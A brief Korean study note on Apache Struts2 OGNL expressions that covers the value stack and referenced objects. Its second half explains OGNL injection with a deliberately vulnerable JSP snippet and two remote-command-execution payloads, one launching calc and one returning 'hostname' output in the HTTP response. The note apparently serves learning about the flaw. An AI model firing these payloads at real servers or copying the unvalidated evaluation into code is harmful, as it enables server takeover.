Apache Struts2

Apache Struts2

OGNL (Object Graph Navigation Language)

-> 밸류스택에 저장된 여러 액션 객체의 정보를 얻어옴.

(struts2에서는 액션이 실행될 때마다 액션이 스택에 저장됨)

표현식 예시)

아이디: <input type="text" name="userid" value="${userid}"/>

<s:textfield label="아이디" name="userid" value="%{userid}"/>

OGNL 참조객체 (#로 참조)

application

session

value stack

request

parameters

attribute

ex) 세션맵의 유저 참조: <s:property value = "#session.user"/>

ex) 밸류스택 사용: <s:property value = "username"/>

<Apache Struts2 취약점>

Apache Struts2 취약점의 대부분이 표현식 평가부분에서 발생함.

그 함수중 하나가 ognl.getValue()

[취약한 코드]  <%     string param = request.getParameter("p");      OgnlContext ctx = new OgnlContext();      Object value = Ognl.getValue(param, ctx, "");  %>  <%= value %>

get 파라미터 값을 Ognl.getValue 에서 검증없이 명령어를 실행하여 원격코드실행이 가능함.

[계산기 원격 실행]  ~.jsp?p=@java.lang.Runtime@getRuntime().exec('calc')

[원격실행 결과 출력]  ~.jsp?p=@org.apache.Struts2.ServletActionContext@getResponse().getWriter().  (@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('hostname').getInputStream())  getRuntime으로 운영체제 명령 실행 -> getInputStream으로 결과값 받아옴 -> toString으로 형변환 -> getWriter로 출력